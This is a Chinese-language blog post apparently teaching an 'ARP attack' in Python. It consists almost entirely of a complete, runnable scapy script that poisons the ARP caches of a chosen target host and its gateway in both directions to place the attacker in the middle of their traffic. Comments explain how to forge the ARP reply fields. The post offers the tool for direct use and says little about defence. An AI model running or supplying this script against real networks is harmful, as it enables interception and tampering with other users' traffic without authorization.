python ARP攻击

准备

安装scapy库

pip install scapy

 

arp.py 

 

#-*- coding:utf-8 -*-
from scapy.all import *
import sys
import optparse

parser = optparse.OptionParser('-W 网卡 -w 网关 -p 目标ip')
parser.add_option('-W',dest='tgtW',type='string',help='W')
parser.add_option('-w',dest='tgtw',type='string',help='w')
parser.add_option('-p',dest='tgtip',type='string',help='p')
(options,args)=parser.parse_args()
print options,args
wk=options.tgtW
wg=options.tgtw
ipa=options.tgtip

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    arp缓冲表恢复
    '''

    print('[*] 恢复ARP缓冲....')
    #同样也是构造ARP包(双向)
    '''
    hwdst='ff:ff:ff:ff:ff:ff' 表示以广播的形式发送
    '''

    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst='ff:ff:ff:ff:ff:ff',
        hwsrc=gateway_mac),count=5)
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst='ff:ff:ff:ff:ff:ff',
        hwsrc=target_mac))

def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    进行双向欺骗
    '''

    '''
    先使用scapy 结构ARP包
    可以通过看arp报文结构
    以太网头部可忽略,使用默认

    默认以太网头部
    >>> ls (Ether())
    dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
    src        : SourceMACField                      = '80:a5:89:35:96:2b' (None)
    type       : XShortEnumField                     = 36864           (36864)

 

    arp头部,也可以忽略,使用默认

    这就几个可以去了解一下,下面代码解释
    源硬件地址  源协议地址  目标硬件地址    目标协议地址

    查看ARP报文,python编辑器下输入代码:
    from scapy.all import *
    ls(ARP())
    其他协议类型也一样方式

    >>> ls (ARP())
    hwtype     : XShortField                         = 1               (1)
    ptype      : XShortEnumField                     = 2048            (2048)
    hwlen      : ByteField                           = 6               (6)
    plen       : ByteField                           = 4               (4)
    op         : ShortEnumField                      = 1               (1)
    hwsrc      : ARPSourceMACField                   = '80:a5:89:35:96:2b' (None)
    psrc       : SourceIPField                       = '192.168.1.7'   (None)
    hwdst      : MACField                            = '00:00:00:00:00:00' ('00:00:00:00:00:00')
    pdst       : IPField                             = '0.0.0.0'       ('0.0.0.0')

    必要属性:

    op:操作码,默认1,取值为1或者2,分别代表ARP请求包或者响应包(请求操作,响应操作)
    hwsrc:发送方的mac地址,用于告诉对方我的mac地址是什么
    默认为本机,所以可以忽略

    psrc:发送方IP地址,用于告诉对方我的IP地址是什么,可用来伪装

    报文发送给谁,由下面两个属性决定:
    hwdst:对方的MAC地址
    pdst:对方IP地址

    '''

    #构造ARP包
    #欺骗目标主机,我是网关
    '''
    发给目标主机(target_ip)
    欺骗它,我的IP是gatewat_ip(网关),我的mac地址是hwsrc(默认本机)
    '''
    poison_target=ARP()
    poison_target.op=2
    poison_target.psrc=gateway_ip
    poison_target.pdst=target_ip
    poison_target.hwdst=target_mac

    #欺骗网关,我是目标主机
    '''
    发送给网关(gateway_ip)
    欺骗,我的ip是target_ip(目标),我的mac地址是hwsrc(默认本机)
    '''
    poison_gateway= ARP()
    poison_gateway.op=2
    poison_gateway.psrc=target_ip
    poison_gateway.pdst=gateway_ip
    poison_gateway.hwdst=gateway_mac

    print('[*] 正在进行ARP投毒。[CTRL-C 停止]')

    while True:
        try:
            #循环发送arp包
            send(poison_target)
            send(poison_gateway)
            time.sleep(2)
        #捕获键盘中断
        except KeyboardInterrupt:
            #进行ARP缓冲恢复
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            break
    print('[*] ARP投毒结束')

    return


#获取网关和目标IP、MAC地址
def main():
    #网卡,网关,目标
    interface = wk
    gateway_ip= wg
    target_ip = ipa
    
    #设置网卡
    conf.iface = interface
    #关闭信息提示
    conf.verb=0
    
    print ('[*] interface:%s'%interface)
    #获取网关MAC
    gateway_mac = getmacbyip(gateway_ip)
    
    #没获取到网关
    if gateway_mac is None:
        print ('[!] get MAC error !')
        sys.exit(0)
    else:
        print ('[*] interface:%s MAC: %s'%(gateway_ip,gateway_mac))
        
    #获取目标MAC地址
    target_mac = getmacbyip(target_ip)
    
    if target_mac is None:
        print ('[!] get HOST MAC error !')
        sys.exit(0)
        
    else:
        print ('[*] host:%s MAC: %s'%(target_ip,target_mac))

    #进行欺骗
    attact_target(gateway_ip,gateway_mac,target_ip,target_mac)
        
    
main()

你可能感兴趣的:(arp攻击,python,scapy)